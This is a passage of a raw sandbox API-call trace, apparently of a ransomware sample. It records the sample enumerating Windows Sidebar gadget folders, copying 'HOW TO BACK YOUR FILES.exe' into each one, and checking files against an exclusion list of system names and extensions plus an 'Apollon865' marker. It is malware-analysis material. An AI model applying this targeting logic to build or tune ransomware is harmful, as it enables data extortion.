	[0060.861] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css"
	[0060.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0060.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.861] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css") returned 65
	[0060.861] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css"
	[0060.861] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.861] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.865] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c59c7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c59c7d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.865] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.865] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.865] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.865] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c59c7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c59c7d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.866] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.866] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.866] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.866] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.866] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c59c7d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c59c7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.866] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.866] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="Apollon865.txt.exe") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="..") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="windows") returned -1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="bootmgr") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="temp") returned -1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="pagefile.sys") returned -1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="boot") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="ids.txt") returned 1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="ntuser.dat") returned -1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="perflogs") returned -1
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2="MSBuild") returned -1
	[0060.866] lstrlenW (lpString="localizedSettings.css") returned 21
	[0060.866] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*") returned 67
	[0060.866] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="localizedSettings.css" | out: lpString1="localizedSettings.css") returned="localizedSettings.css"
	[0060.866] lstrlenW (lpString="localizedSettings.css") returned 21
	[0060.866] lstrlenW (lpString="Apollon865") returned 10
	[0060.866] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0060.866] lstrlenW (lpString=".dll") returned 4
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".dll") returned 1
	[0060.866] lstrlenW (lpString=".lnk") returned 4
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".lnk") returned 1
	[0060.866] lstrlenW (lpString=".ini") returned 4
	[0060.866] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".ini") returned 1
	[0060.867] lstrlenW (lpString=".sys") returned 4
	[0060.867] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".sys") returned 1
	[0060.867] lstrlenW (lpString="localizedSettings.css") returned 21
	[0060.867] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0060.867] lstrlenW (lpString="settings.css") returned 12
	[0060.867] lstrlenW (lpString="Apollon865") returned 10
	[0060.867] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0060.867] lstrlenW (lpString=".dll") returned 4
	[0060.867] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0060.867] lstrlenW (lpString=".lnk") returned 4
	[0060.867] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0060.867] lstrlenW (lpString=".ini") returned 4
	[0060.867] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0060.867] lstrlenW (lpString=".sys") returned 4
	[0060.867] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0060.867] lstrlenW (lpString="settings.css") returned 12
	[0060.867] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="weather.css" | out: lpString1="weather.css") returned="weather.css"
	[0060.867] lstrlenW (lpString="weather.css") returned 11
	[0060.867] lstrlenW (lpString="Apollon865") returned 10
	[0060.867] lstrcmpiW (lpString1="eather.css", lpString2="Apollon865") returned 1
	[0060.867] lstrlenW (lpString=".dll") returned 4
	[0060.867] lstrcmpiW (lpString1="weather.css", lpString2=".dll") returned 1
	[0060.867] lstrlenW (lpString=".lnk") returned 4
	[0060.867] lstrcmpiW (lpString1="weather.css", lpString2=".lnk") returned 1
	[0060.867] lstrlenW (lpString=".ini") returned 4
	[0060.867] lstrcmpiW (lpString1="weather.css", lpString2=".ini") returned 1
	[0060.867] lstrlenW (lpString=".sys") returned 4
	[0060.867] lstrcmpiW (lpString1="weather.css", lpString2=".sys") returned 1
	[0060.868] lstrlenW (lpString="weather.css") returned 11
	[0060.868] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget"
	[0060.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5918c0 | out: hHeap=0x580000) returned 1
	[0060.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.868] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned 57
	[0060.868] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget"
	[0060.868] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.868] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.874] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c59c7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c59c7d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.875] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.875] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.875] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.875] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c59c7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c59c7d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.875] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.875] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.875] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.875] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.875] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0060.875] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0060.875] lstrlenW (lpString="drag.png") returned 8
	[0060.875] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*") returned 59
	[0060.875] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0060.875] lstrlenW (lpString="drag.png") returned 8
	[0060.876] lstrlenW (lpString="Apollon865") returned 10
	[0060.876] lstrlenW (lpString=".dll") returned 4
	[0060.876] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0060.876] lstrlenW (lpString=".lnk") returned 4
	[0060.876] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0060.876] lstrlenW (lpString=".ini") returned 4
	[0060.876] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0060.876] lstrlenW (lpString=".sys") returned 4
	[0060.876] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0060.876] lstrlenW (lpString="drag.png") returned 8
	[0060.876] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0060.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0060.876] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0060.876] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c59c7d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c59c7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.876] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.876] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0060.876] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0060.877] lstrlenW (lpString="icon.png") returned 8
	[0060.877] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned 63
	[0060.877] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0060.877] lstrlenW (lpString="icon.png") returned 8
	[0060.877] lstrlenW (lpString="Apollon865") returned 10
	[0060.877] lstrlenW (lpString=".dll") returned 4
	[0060.877] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0060.877] lstrlenW (lpString=".lnk") returned 4
	[0060.877] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0060.877] lstrlenW (lpString=".ini") returned 4
	[0060.877] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0060.877] lstrlenW (lpString=".sys") returned 4
	[0060.877] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0060.877] lstrlenW (lpString="icon.png") returned 8
	[0060.877] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="images" | out: lpString1="images") returned="images"
	[0060.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0060.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0060.877] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc70
	[0060.877] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0060.877] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0060.878] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0060.878] lstrlenW (lpString="logo.png") returned 8
	[0060.878] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned 64
	[0060.878] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0060.878] lstrlenW (lpString="logo.png") returned 8
	[0060.878] lstrlenW (lpString="Apollon865") returned 10
	[0060.878] lstrlenW (lpString=".dll") returned 4
	[0060.878] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0060.878] lstrlenW (lpString=".lnk") returned 4
	[0060.878] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0060.878] lstrlenW (lpString=".ini") returned 4
	[0060.878] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0060.878] lstrlenW (lpString=".sys") returned 4
	[0060.878] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0060.878] lstrlenW (lpString="logo.png") returned 8
	[0060.878] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images"
	[0060.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0060.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.878] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned 64
	[0060.878] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images"
	[0060.878] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.878] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.885] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c5c2930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c5c2930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.885] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.885] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.885] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.885] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c5c2930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c5c2930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.885] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.885] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.885] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.885] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.885] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1
	[0060.885] lstrcmpiW (lpString1="blank.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.885] lstrcmpiW (lpString1="blank.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.885] lstrcmpiW (lpString1="blank.png", lpString2=".") returned 1
	[0060.885] lstrcmpiW (lpString1="blank.png", lpString2="..") returned 1
	[0060.885] lstrcmpiW (lpString1="blank.png", lpString2="windows") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="bootmgr") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="temp") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="pagefile.sys") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="boot") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="ids.txt") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="ntuser.dat") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="perflogs") returned -1
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2="MSBuild") returned -1
	[0060.886] lstrlenW (lpString="blank.png") returned 9
	[0060.886] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*") returned 66
	[0060.886] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="blank.png" | out: lpString1="blank.png") returned="blank.png"
	[0060.886] lstrlenW (lpString="blank.png") returned 9
	[0060.886] lstrlenW (lpString="Apollon865") returned 10
	[0060.886] lstrlenW (lpString=".dll") returned 4
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2=".dll") returned 1
	[0060.886] lstrlenW (lpString=".lnk") returned 4
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2=".lnk") returned 1
	[0060.886] lstrlenW (lpString=".ini") returned 4
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2=".ini") returned 1
	[0060.886] lstrlenW (lpString=".sys") returned 4
	[0060.886] lstrcmpiW (lpString1="blank.png", lpString2=".sys") returned 1
	[0060.886] lstrlenW (lpString="blank.png") returned 9
